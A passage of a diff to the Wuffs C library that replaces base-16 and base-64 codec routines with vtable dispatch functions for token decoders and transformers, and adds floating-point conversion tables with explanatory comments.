((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; +- +- while (n--) { +- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | +- (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); +- d += 1; +- s += 4; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len; +- o.num_src = len * 4; +- return o; ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t dst_len2 = dst.len / 2; +- size_t len; +- if (dst_len2 < src.len) { +- len = dst_len2; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src.len; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else { +- o.status.repr = NULL; +- } +- } ++// -------- + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__token_decoder__decode_tokens( ++ wuffs_base__token_decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- while (n--) { +- uint8_t c = *s; +- d[0] = wuffs_base__private_implementation__encode_base16[c >> 4]; +- d[1] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; +- d += 2; +- s += 1; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len * 2; +- o.num_src = len; +- return o; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t dst_len4 = dst.len / 4; +- size_t len; +- if (dst_len4 < src.len) { +- len = dst_len4; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src.len; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else { +- o.status.repr = NULL; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__token_decoder__get_quirk( ++ const wuffs_base__token_decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; +- +- while (n--) { +- uint8_t c = *s; +- d[0] = '\\'; +- d[1] = 'x'; +- d[2] = wuffs_base__private_implementation__encode_base16[c >> 4]; +- d[3] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; +- d += 4; +- s += 1; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len * 4; +- o.num_src = len; +- return o; ++ return 0; + } + +-// ---------------- Base-64 ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__token_decoder__set_quirk( ++ wuffs_base__token_decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-// The two base-64 alphabets, std and url, differ only in the last two codes. +-// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" +-// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-static const uint8_t wuffs_base__base_64__decode_std[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. +- 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. +- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. +- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. +- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. +- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. +- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. +- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. +- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. +- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__token_decoder__workbuf_len( ++ const wuffs_base__token_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ return wuffs_base__utility__empty_range_ii_u64(); ++} + +-static const uint8_t wuffs_base__base_64__decode_url[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. +- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) + +- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. +- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. +- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. +- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. +- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. +- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. +- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. +- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. ++// ---------------- IEEE 754 Floating Point + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F ++// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by ++// script/print-hpd-left-shift.go. That script has an optional -comments flag, ++// whose output is not copied here, which prints further detail. ++// ++// These tables are used in ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits. ++ ++// wuffs_private_impl__hpd_left_shift[i] encodes the number of new digits ++// created after multiplying a positive integer by (1 << i): the additional ++// length in the decimal representation. For example, shifting "234" by 3 ++// (equivalent to multiplying by 8) will produce "1872". Going from a 3-length ++// string to a 4-length string means that 1 new digit was added (and existing ++// digits may have changed). ++// ++// Shifting by i can add either N or N-1 new digits, depending on whether the ++// original positive integer compares >= or < to the i'th power of 5 (as 10 ++// equals 2 * 5). Comparison is lexicographic, not numerical. ++// ++// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new ++// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": ++// - ("1" << 4) is "16", which adds 1 new digit. ++// - ("5678" << 4) is "90848", which adds 1 new digit. ++// - ("624" << 4) is "9984", which adds 1 new digit. ++// - ("62498" << 4) is "999968", which adds 1 new digit. ++// - ("625" << 4) is "10000", which adds 2 new digits. ++// - ("625001" << 4) is "10000016", which adds 2 new digits. ++// - ("7008" << 4) is "112128", which adds 2 new digits. ++// - ("99" << 4) is "1584", which adds 2 new digits. ++// ++// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift ++// array encodes this as: ++// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. ++// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. ++// where the ? isn't relevant for i == 4. ++// ++// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two ++// possible number of new digits. The low 11 bits are an offset into the ++// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i ++// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] ++// is the string "\x06\x02\x05", so the relevant power of 5 is "625". ++// ++// Thanks to Ken Thompson for the original idea. ++static const uint16_t wuffs_private_impl__hpd_left_shift[65] = { ++ 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, ++ 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, ++ 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, ++ 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, ++ 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, ++ 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 0x83B7, 0x83DC, ++ 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, ++ 0x051C, 0x051C, + }; + +-static const uint8_t wuffs_base__base_64__encode_std[64] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. +- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. +- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. +- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. +- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. +- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. +- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. ++// wuffs_private_impl__powers_of_5 contains the powers of 5, concatenated ++// together: "5", "25", "125", "625", "3125", etc. ++static const uint8_t wuffs_private_impl__powers_of_5[0x051C] = { ++ 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, ++ 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, ++ 5, 2, 4, 4, 1, 4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, ++ 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, ++ 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, ++ 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, ++ 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, ++ 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, ++ 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, ++ 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, ++ 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, ++ 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, ++ 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, ++ 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, ++ 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, ++ 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, ++ 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, ++ 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, ++ 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, ++ 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, ++ 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, ++ 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, ++ 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, ++ 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, ++ 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, ++ 7, 3, 6, 7, 5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, ++ 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, ++ 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, ++ 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, ++ 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, ++ 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, ++ 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, ++ 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, ++ 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, ++ 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, ++ 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, ++ 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, ++ 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, ++ 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 1, 3, 0, 8, 0, 8, 4, 7, 2, 6, ++ 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, ++ 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, ++ 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, ++ 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, ++ 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, ++ 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, ++ 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, ++ 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, ++ 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, ++ 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, ++ 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, ++ 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, ++ 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, ++ 6, 9, 1, 4, 0, 6, 2, 5, + }; + +-static const uint8_t wuffs_base__base_64__encode_url[64] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. +- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. +- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. +- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. +- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. +- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. +- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. ++// -------- ++ ++// wuffs_private_impl__powers_of_10 contains truncated approximations to the ++// powers of 10, ranging from 1e-307 to 1e+288 inclusive, as 596 pairs of ++// uint64_t values (a 128-bit mantissa). ++// ++// There's also an implicit third column (implied by a linear formula involving ++// the base-10 exponent) that is the base-2 exponent, biased by a magic ++// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias ++// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and ++// wuffs_private_impl__parse_number_f64_eisel_lemire works with ++// multiples-of-64-bit mantissas. ++// ++// For example, the third row holds the approximation to 1e-305: ++// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) ++// ++// Similarly, 1e+4 is approximated by: ++// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) ++// ++// Similarly, 1e+68 is approximated by: ++// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) ++// ++// This table was generated by by script/print-mpb-powers-of-10.go ++static const 